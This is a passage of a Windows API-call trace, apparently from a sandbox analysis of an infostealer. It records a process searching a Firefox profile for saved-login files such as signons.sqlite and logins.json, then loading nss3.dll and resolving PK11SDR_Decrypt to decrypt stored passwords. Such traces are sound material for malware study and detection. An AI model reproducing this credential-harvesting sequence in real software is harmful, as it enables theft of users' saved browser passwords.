IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.066] lstrlenA (lpString="\\*.*") returned 4 [0048.066] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x762bd0 [0048.066] lstrcpyA (in: lpString1=0x762bd0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.066] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.066] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef45c | out: lpFindFileData=0xef45c) returned 0x72ddd0 [0048.066] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.066] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef45c | out: lpFindFileData=0xef45c) returned 1 [0048.066] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.066] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.066] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef45c | out: lpFindFileData=0xef45c) returned 0 [0048.066] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.066] LocalFree (hMem=0x762bd0) returned 0x0 [0048.066] LocalFree (hMem=0x762ac0) returned 0x0 [0048.066] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 1 [0048.066] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.066] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0048.066] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0048.066] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0048.066] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.066] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.066] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c4 | out: lpFindFileData=0xef5c4) returned 0 [0048.066] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.067] LocalFree (hMem=0x74fdd0) returned 0x0 [0048.067] LocalFree (hMem=0x74fed0) returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef72c | out: lpFindFileData=0xef72c) returned 0 [0048.067] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.067] LocalFree (hMem=0x74fa68) returned 0x0 [0048.067] LocalFree (hMem=0x76e840) returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0048.067] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.067] LocalFree (hMem=0x746ad0) returned 0x0 [0048.067] LocalFree (hMem=0x74f980) returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.067] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0048.067] lstrlenA (lpString="key3.db") returned 7 [0048.067] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0048.067] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.067] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.067] lstrlenA (lpString="localstore.rdf") returned 14 [0048.067] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0048.067] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.067] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0048.067] lstrlenA (lpString="marionette.log") returned 14 [0048.067] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0048.067] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.067] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.067] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0048.067] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0048.067] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0048.067] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0048.067] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.067] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.067] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0048.067] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.067] lstrlenA (lpString="\\") returned 1 [0048.067] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.067] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.067] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.067] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.067] lstrlenA (lpString="minidumps") returned 9 [0048.067] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74f980 [0048.068] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.068] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.068] LocalFree (hMem=0x746ad0) returned 0x0 [0048.068] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.068] lstrlenA (lpString="\\*.*") returned 4 [0048.068] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x746ad0 [0048.068] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.068] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.068] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0048.068] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.068] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.068] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.068] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.068] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0048.068] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.068] LocalFree (hMem=0x746ad0) returned 0x0 [0048.068] LocalFree (hMem=0x74f980) returned 0x0 [0048.068] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.068] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0048.068] lstrlenA (lpString="parent.lock") returned 11 [0048.068] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0048.068] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0048.068] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.068] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.068] lstrlenA (lpString="permissions.sqlite") returned 18 [0048.068] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0048.068] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.068] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.068] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.068] lstrlenA (lpString="places.sqlite") returned 13 [0048.068] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0048.068] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.068] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.068] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0048.068] lstrlenA (lpString="pluginreg.dat") returned 13 [0048.068] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0048.068] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0048.068] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0048.069] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.069] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0048.069] lstrlenA (lpString="prefs.js") returned 8 [0048.069] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0048.069] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0048.069] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.069] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0048.069] lstrlenA (lpString="search.json") returned 11 [0048.069] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0048.069] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0048.069] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.069] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0048.069] lstrlenA (lpString="secmod.db") returned 9 [0048.069] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0048.069] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0048.069] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.069] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0048.069] lstrlenA (lpString="sessionstore.bak") returned 16 [0048.069] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0048.069] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0048.069] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.069] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0048.069] lstrlenA (lpString="sessionstore.js") returned 15 [0048.069] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0048.069] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0048.069] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0048.069] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.069] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0048.069] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.069] lstrlenA (lpString="\\") returned 1 [0048.069] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.069] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.069] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.069] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.069] lstrlenA (lpString="signons.sqlite") returned 14 [0048.069] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0048.069] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.069] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0048.069] LocalFree (hMem=0x746ad0) returned 0x0 [0048.069] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0048.070] CloseHandle (hObject=0x3b4) returned 1 [0048.070] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0048.070] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0048.070] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0048.070] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0048.070] CloseHandle (hObject=0x3b4) returned 1 [0048.070] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0048.070] GetFileSize (in: hFile=0x3b4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0048.070] CreateFileMappingA (hFile=0x3b4, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3b0 [0048.070] MapViewOfFile (hFileMappingObject=0x3b0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0048.073] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x7499f8 [0048.073] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0048.074] CloseHandle (hObject=0x3b0) returned 1 [0048.074] CloseHandle (hObject=0x3b4) returned 1 [0048.074] LocalFree (hMem=0x74da88) returned 0x0 [0048.074] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.074] SetCurrentDirectoryA (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1 [0048.074] LoadLibraryA (lpLibFileName="nss3.dll") returned 0x74430000 [0048.074] GetProcAddress (hModule=0x74430000, lpProcName="NSS_Init") returned 0x744ed70b [0048.074] GetProcAddress (hModule=0x74430000, lpProcName="NSS_Shutdown") returned 0x744ed13c [0048.074] GetProcAddress (hModule=0x74430000, lpProcName="NSSBase64_DecodeBuffer") returned 0x744ee7d9 [0048.075] GetProcAddress (hModule=0x74430000, lpProcName="SECITEM_FreeItem") returned 0x744ee656 [0048.075] GetProcAddress (hModule=0x74430000, lpProcName="PK11_GetInternalKeySlot") returned 0x74483c51 [0048.075] GetProcAddress (hModule=0x74430000, lpProcName="PK11_Authenticate") returned 0x7446d3ca [0048.075] GetProcAddress (hModule=0x74430000, lpProcName="PK11SDR_Decrypt") returned 0x744800a7 [0048.075] GetProcAddress (hModule=0x74430000, lpProcName="PK11_FreeSlot") returned 0x74483333 [0048.075] NSS_Init () returned 0x0 [0048.084] PK11_GetInternalKeySlot () returned 0x9321000 [0048.084] PK11_Authenticate () returned 0x0 [0048.084] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xef9bc | out: ppstm=0xef9bc*=0x76e060) returned 0x0 [0048.084] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0048.084] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.084] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.084] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.084] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.084] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.084] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.084] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.084] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.084] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.084] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.084] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] ReadFile (in: hFile=0x3b8, lpBuffer=0xee9a4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xef9a4, lpOverlapped=0x0 | out: lpBuffer=0xee9a4*, lpNumberOfBytesRead=0xef9a4*=0x1000, lpOverlapped=0x0) returned 1 [0048.085] IStream:Commit (This=0x76e060, grfCommitFlags=0xee9a4) returned 0x0 [0048.085] 